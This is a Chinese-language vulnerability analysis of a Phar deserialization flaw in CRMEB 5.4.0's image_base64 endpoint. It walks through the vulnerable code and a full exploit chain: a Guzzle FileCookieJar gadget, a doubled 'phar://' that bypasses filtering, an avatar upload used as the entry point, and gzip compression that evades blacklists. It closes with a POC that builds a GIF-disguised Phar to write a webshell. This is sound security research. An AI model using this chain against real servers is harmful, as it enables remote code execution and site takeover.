前言

该漏洞是存在于钟邦科技 CRMEB 5.4.0 版本中的一个关键安全漏洞,影响到 PublicController.php 文件中的 get_image_base64 函数。该漏洞的根本原因是由于对用户可控的参数 code 进行处理时,存在不安全的反序列化操作的风险。攻击者可以利用此漏洞,通过发送特制的请求,触发 PHP 的反序列化机制,从而执行恶意代码,最终可能导致远程代码执行(RCE)的严重后果。该漏洞已被公开披露,并且可能被恶意利用。

什么是反序列化漏洞

在计算机科学中,序列化 (Serialization) 是将一个对象(例如,PHP 中的一个类实例)转换成可以存储或传输的数据格式的过程。这种格式通常是字符串或字节流。

反序列化 (Deserialization) 则是序列化的逆过程,它将存储或传输的数据格式转换回原始的对象。

为什么需要序列化和反序列化?

序列化和反序列化在很多场景下都非常有用,例如:

  • 存储数据: 将复杂的数据结构(如对象)保存到文件或数据库中。
  • 传输数据: 在网络上传输对象,例如在 API 请求或会话管理中。
  • 缓存: 将对象存储在缓存中以提高性能。

什么是反序列化漏洞?

反序列化漏洞发生在应用程序在反序列化来自不可信来源的数据时,没有进行充分的验证和过滤,导致恶意攻击者能够控制反序列化的过程,从而执行恶意代码或进行其他恶意操作。

核心问题在于,反序列化过程会根据序列化数据中包含的信息来重建对象。如果攻击者能够控制这些信息,他们就可以在反序列化过程中注入恶意的代码或指令。

PHP 反序列化漏洞与 RCE

PHP 提供了 serialize() 函数用于序列化数据,以及 unserialize() 函数用于反序列化数据。PHP 的反序列化漏洞是比较常见且危害较大的漏洞之一,尤其容易导致远程代码执行(RCE)。

PHP 中导致反序列化漏洞的关键在于其“魔术方法 (Magic Methods)”:

这些是在特定事件发生时自动调用的特殊方法。一些常见的与反序列化漏洞相关的魔术方法包括:

  • __wakeup(): 在反序列化时被调用。
  • __destruct(): 在对象被销毁时被调用。
  • __toString(): 当对象被当作字符串处理时被调用。
  • __call(): 在调用对象中不存在的方法时被调用。
  • __get() / __set(): 在访问或设置对象中不存在的属性时被调用。

PHP 反序列化实现 RCE 的原理

攻击者可以通过构造恶意的序列化数据,使其在反序列化过程中触发某些魔术方法,并在这些魔术方法中执行他们预先设定的恶意代码。

举个简单的 PHP RCE 示例

假设我们有以下 PHP 代码:

PHP

<?php

class Evil {
public $cmd;

public function __destruct() {
system($this->cmd);
}
}

if (isset($_GET['data'])) {
$serialized_data = base64_decode($_GET['data']);
unserialize($serialized_data);
}

?>

在这个例子中:

  1. 我们定义了一个名为 Evil 的类,它有一个公共属性 $cmd
  2. 该类中定义了一个魔术方法 __destruct()。当 Evil 类的对象被销毁时,__destruct() 方法会被自动调用,并执行 $this->cmd 中存储的命令。
  3. 脚本通过 GET 请求接收一个名为 data 的参数,该参数经过 Base64 解码后被 unserialize() 函数反序列化。

漏洞原理分析

get_image_base64

首先我们来分析一下漏洞函数

/**
* 获取图片base64
* @param Request $request
* @return mixed
*/
public function get_image_base64(Request $request)
{
[$imageUrl, $codeUrl] = $request->postMore([
['image', ''],
['code', ''],
], true);
if ($imageUrl !== '' && !preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl) && strpos(strtolower($imageUrl), "phar://") !== false) {
return app('json')->success(['code' => false, 'image' => false]);
}
if ($codeUrl !== '' && !(preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $codeUrl) || strpos($codeUrl, 'https://mp.weixin.qq.com/cgi-bin/showqrcode') !== false) && strpos(strtolower($codeUrl), "phar://") !== false) {
return app('json')->success(['code' => false, 'image' => false]);
}
try {
$code = CacheService::remember($codeUrl, function () use ($codeUrl) {
$codeTmp = $code = $codeUrl ? image_to_base64($codeUrl) : false;
if (!$codeTmp) {
$putCodeUrl = put_image($codeUrl);
$code = $putCodeUrl ? image_to_base64(app()->request->domain(true) . '/' . $putCodeUrl) : false;
if ($putCodeUrl) {
unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putCodeUrl);
}
}
return $code;
});
$image = CacheService::remember($imageUrl, function () use ($imageUrl) {
$imageTmp = $image = $imageUrl ? image_to_base64($imageUrl) : false;
if (!$imageTmp) {
$putImageUrl = put_image($imageUrl);
$image = $putImageUrl ? image_to_base64(app()->request->domain(true) . '/' . $putImageUrl) : false;
if ($putImageUrl) {
unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putImageUrl);
}
}
return $image;
});
return app('json')->success(compact('code', 'image'));
} catch (\Exception $e) {
return app('json')->fail(100005);
}
}

进行代码审计可以发现,

  1. get_image_base64 函数接收两个 POST 参数:imagecode,并将它们分别赋值给 $imageurl$codeUrl 变量
  2. 函数对这两个参数进行了初步的校验,要求它们必须包含 .png, .jpg, .jpeg, 或 .gif 等图片扩展名,并且 $imageurl 不允许包含 phar:// 字段
  3. 接下来,代码尝试使用 CacheService::remember() 函数缓存 $codeUrl 对应的 base64 编码的图片。如果缓存不存在,则执行一个匿名函数,该匿名函数会依次调用 image_to_base64($codeUrl)put_image($codeUrl)

put_image

function image_to_base64($avatar = '', $timeout = 9)
{
$avatar = str_replace('https', 'http', $avatar);
try {
$url = parse_url($avatar);
if ($url['scheme'] . '://' . $url['host'] == sys_config('site_url')) {
return "data:image/jpeg;base64," . base64_encode(file_get_contents(public_path() . substr($url['path'], 1)));
}
$url = $url['host'];
$header = [
'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0',
'Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding: gzip, deflate, br',
'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Host:' . $url
];
$dir = pathinfo($url);
$host = $dir['dirname'];
$refer = $host . '/';
$curl = curl_init();
curl_setopt($curl, CURLOPT_REFERER, $refer);
curl_setopt($curl, CURLOPT_URL, $avatar);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_ENCODING, 'gzip');
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
$data = curl_exec($curl);
$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);
if ($code == 200) {
return "data:image/jpeg;base64," . base64_encode($data);
} else {
return false;
}
} catch (\Exception $e) {
return false;
}
}
function put_image($url, $filename = '')
{

if ($url == '') {
return false;
}
try {
if ($filename == '') {

$ext = pathinfo($url);
if ($ext['extension'] != "jpg" && $ext['extension'] != "png" && $ext['extension'] != "jpeg") {
return false;
}
$filename = time() . "." . $ext['extension'];
}

//文件保存路径
ob_start();
$url = str_replace('phar://', '', $url);//防止phar协议,但可以双写跳过
readfile($url);
$img = ob_get_contents();
ob_end_clean();
$path = 'uploads/qrcode';
$fp2 = fopen($path . '/' . $filename, 'a');
fwrite($fp2, $img);
fclose($fp2);
return $path . '/' . $filename;
} catch (\Exception $e) {
return false;
}
}
  1. image_to_base64 函数: 此函数以 $codeUrl 为参数发起一个 cURL 请求,尝试获取图片内容并进行 base64 编码。关键在于,当 cURL 处理 phar:// 协议的 URL 时,会返回 false
  2. put_image 函数(漏洞触发点): put_image 函数接收 $codeUrl 作为参数,并尝试将其中出现的 phar:// 替换为空字符串:$url = str_replace('phar://', '', $url);然而,通过双写 phar:// (例如 phar://phar://...) 可以绕过此替换。 之后,函数会调用 readfile($url);。当 $urlphar:// 开头时,readfile 函数会将该路径视为 Phar 归档文件,并尝试读取,从而触发 Phar 反序列化

漏洞利用链

寻找反序列化 Gadget

  • 原理: 在 PHP 中,反序列化漏洞本身并不能直接执行任意代码。它需要结合已存在于项目代码或依赖库中的某些类(称为 “Gadget”)来实现。这些 Gadget 类中存在特定的“魔术方法”(如 __destruct()__wakeup() 等),在对象被反序列化或销毁等特定时机被自动调用
  • 在这个漏洞中: 我们通过搜索 __destruct() 方法,在 GuzzleHTTP 库的 FileCookieJar 类中找到了一个可利用的 Gadget
  • 为什么 FileCookieJar 可利用: FileCookieJar 类的 __destruct() 方法会调用自身的 save() 方法。而 save() 方法的功能是将 Cookie 信息写入到指定的文件中。这为攻击者提供了一个可控的文件写入操作

构造恶意 Phar 文件

  • 原理: Phar 文件是 PHP 的归档文件,可以包含多个 PHP 文件和元数据。元数据可以被序列化存储。当 PHP 处理 phar:// 协议的文件时,会尝试反序列化其元数据
  • 在这个漏洞中:我们需要创建一个恶意的 Phar 文件。这个文件的元数据中包含一个序列化后的 GuzzleHttp\Cookie\FileCookieJar 对象
  • 恶意对象的关键属性:
    • $filename 属性被设置为攻击者想要写入 Webshell 的目标路径,例如 public/shell.php
    • $cookies 属性被设置为包含恶意 PHP 代码的 Cookie 信息。当 FileCookieJar 对象的 save() 方法被调用时,这些恶意代码就会被写入到 $filename 指定的文件中

绕过黑名单检测

  • 原理: 为了防止恶意文件的上传,系统通常会对上传的文件进行检查,例如检查文件名后缀、文件内容等。可能会存在对包含特定字符串(如常见的反序列化类名)的文件内容的黑名单检测
  • 在这个漏洞中: 为了绕过这种内容检测,攻击者可以使用 gzip 压缩 Phar 文件。压缩后的文件内容会变得难以直接识别

上传 Phar 文件

  • 原理: 攻击者需要找到一个允许上传文件的入口点
  • 在这个漏洞中:可以通过注册用户后上传头像的功能来实现 Phar 文件的上传。上传成功后,攻击者会获得上传文件在服务器上的路径

触发反序列化

  • 原理: 要执行 Phar 文件中的恶意操作,需要触发 PHP 对其元数据的反序列化。这通常通过使用 phar:// 协议来访问 Phar 文件来实现

  • 在这个漏洞中:

    攻击者构造一个 POST 请求发送到

    /api/image_base64

    接口。关键在于

    code

    参数的值。

    • code 参数的值需要指向之前上传的 Phar 文件的 URL
    • 双写 phar:// 绕过: 由于 put_image 函数中存在将 phar:// 替换为空的逻辑,攻击者使用双写 phar:// (例如 phar://phar:///path/to/uploaded/compressed_phar_file.jpg.gz) 来绕过这个替换。这样,经过一次替换后,readfile 函数接收到的仍然是以 phar:// 开头的路径
    • readfile 触发反序列化: get_image_base64 函数最终会调用 put_imageput_image 函数在经过绕过处理后,会使用 readfile() 函数来读取 $codeUrl 指向的文件。当 readfile() 函数处理以 phar:// 开头的路径时,PHP 会将该文件识别为 Phar 归档文件,并自动反序列化其元数据

执行恶意代码:

  • 原理: 当 Phar 文件的元数据(即序列化的 FileCookieJar 对象)被反序列化后,PHP 会自动调用该对象的 __destruct() 方法
  • 在这个漏洞中: FileCookieJar 对象的 __destruct() 方法被调用,接着会调用其 save() 方法。save() 方法会将 $cookies 属性中存储的恶意 PHP 代码写入到 $filename 属性指定的路径(例如 public/shell.php

POC

<?php

namespace GuzzleHttp\Cookie{

class SetCookie {

function __construct()
{
$this->data['Expires'] = '<?php phpinfo();?>';
$this->data['Discard'] = 0;
}
}

class CookieJar{
private $cookies = [];
private $strictMode;
function __construct() {
$this->cookies[] = new SetCookie();
}
}

class FileCookieJar extends CookieJar {
private $filename;
private $storeSessionCookies;
function __construct() {
parent::__construct();
$this->filename = "D:/phpstudy/WWW/crmeb/public/shell.php";
$this->storeSessionCookies = true;
}
}
}

namespace{
$exp = new GuzzleHttp\Cookie\FileCookieJar();

$phar = new Phar('test.phar');
$phar -> stopBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($exp);
$phar -> stopBuffering();
rename('test.phar','test.jpg');
}

?>

namespace{ ... }: 这部分代码是生成 Phar 文件的主要逻辑

$exp = new GuzzleHttp\Cookie\FileCookieJar();创建了一个 FileCookieJar 类的实例 $exp。这个对象包含了恶意代码和目标文件路径

$phar = new Phar('test.phar');创建一个新的 Phar 对象,文件名为 test.phar

$phar -> stopBuffering();停止缓冲,准备写入文件内容

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");设置 Phar 文件的 Stub。Stub 是 Phar 文件的入口点,这里使用了一个 GIF 图片的文件头 GIF89a,后面跟着 <?php __HALT_COMPILER(); ?>__HALT_COMPILER() 用于标识 Phar 文件内容的结束。使用 GIF 文件头是为了在上传时绕过可能隐含的文件类型检查

$phar -> addFromString('test.txt','test');向 Phar 文件中添加一个名为 test.txt 的虚拟文件,内容为 test。这是 Phar 文件必需的部分,但内容本身在这个漏洞中并不重要

$phar -> setMetadata($exp);这是最关键的一行。它将之前创建的包含恶意信息的 $exp 对象进行序列化,并将其设置为 Phar 文件的元数据。 当 Phar 文件被以 phar:// 协议处理时,PHP 会自动反序列化这个元数据。

$phar -> stopBuffering();停止写入 Phar 文件

rename('test.phar','test.jpg');将生成的 test.phar 文件重命名为 test.jpg。这是为了在上传时绕过文件扩展名检查